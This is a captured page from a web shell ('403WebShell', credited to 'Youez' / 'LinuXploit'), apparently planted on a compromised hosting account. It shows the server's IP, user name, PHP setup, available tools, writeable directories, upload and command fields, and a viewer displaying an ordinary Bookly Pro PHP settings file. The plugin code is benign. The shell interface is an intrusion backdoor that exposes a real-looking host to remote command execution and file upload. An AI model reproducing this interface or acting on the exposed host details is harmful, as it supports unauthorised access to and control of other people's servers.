Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.217.99
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/extensions/bookly-addon-pro/backend/components/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/extensions/bookly-addon-pro/backend/components/settings/Address.php
<?php
namespace BooklyPro\Backend\Components\Settings;

use Bookly\Lib as BooklyLib;
use BooklyPro\Lib;

class Address extends BooklyLib\Base\Component
{
    /**
     * Render inputs for address fields in settings.
     */
    public static function render()
    {
        $address_show_fields = (array) get_option( 'bookly_cst_address_show_fields', array() );
        $address_fields = Lib\Utils\Common::getAddressFields();

        foreach ( $address_show_fields as $field_name => $attributes ) {
            if ( array_key_exists( $field_name, $address_fields ) ) {
                $showed = array_key_exists( 'show', $attributes ) && $attributes['show'];
                $label = $address_fields[$field_name];
                self::renderTemplate( 'address', compact( 'field_name', 'label', 'showed' ) );
            }
        }
        foreach ( $address_fields as $field_name => $label ) {
            if ( ! array_key_exists( $field_name, $address_show_fields ) ) {
                $showed = false;
                self::renderTemplate( 'address', compact( 'field_name', 'label', 'showed' ) );
            }
        }

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit